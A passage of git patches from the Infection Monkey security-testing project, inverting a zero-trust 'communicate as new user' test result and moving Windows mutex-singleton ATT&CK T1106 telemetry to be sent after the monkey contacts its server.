stderr=subprocess.STDOUT, shell=True) def __enter__(self): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index a48c3598a..6c5b1154b 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -11,7 +11,8 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ def test_new_user_communication(current_monkey, success, message): AggregateFinding.create_or_add_to_existing( test=TEST_COMMUNICATE_AS_NEW_USER, - status=STATUS_PASSED if success else STATUS_FAILED, + # If the monkey succeeded to create a user, then the test failed. + status=STATUS_FAILED if success else STATUS_PASSED, events=[ get_attempt_event(current_monkey), get_result_event(current_monkey, message, success) From 01a2a448de2ed1dd1e3b514daab0d616544531cc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 17 Sep 2019 14:51:42 +0300 Subject: [PATCH 276/276] delays singleton attack telem and sends it when monkey can communicate with server --- monkey/infection_monkey/monkey.py | 6 +++++- monkey/infection_monkey/system_singleton.py | 14 ++------------ 2 files changed, 7 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index cd8df4705..70379ce85 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -24,9 +24,10 @@ from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus, UsageEnum __author__ = 'itamar' @@ -103,6 +104,9 @@ class InfectionMonkey(object): ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() + if utils.is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 50fa6363b..6a4a0912b 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -4,8 +4,7 @@ import sys from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration -from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus, UsageEnum + __author__ = 'itamar' @@ -46,21 +45,13 @@ class WindowsSystemSingleton(_SystemSingleton): ctypes.c_char_p(self._mutex_name)) last_error = ctypes.windll.kernel32.GetLastError() - status = None if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) - status = ScanStatus.SCANNED - + return False if winerror.ERROR_ALREADY_EXISTS == last_error: - status = ScanStatus.SCANNED LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) - - if not status: - status = ScanStatus.USED - T1106Telem(status, UsageEnum.SINGLETON_WINAPI).send() - if status == ScanStatus.SCANNED: return False self._mutex_handle = handle @@ -71,7 +62,6 @@ class WindowsSystemSingleton(_SystemSingleton): def unlock(self): assert self._mutex_handle is not None, "Singleton not locked" - ctypes.windll.kernel32.CloseHandle(self._mutex_handle) self._mutex_handle = None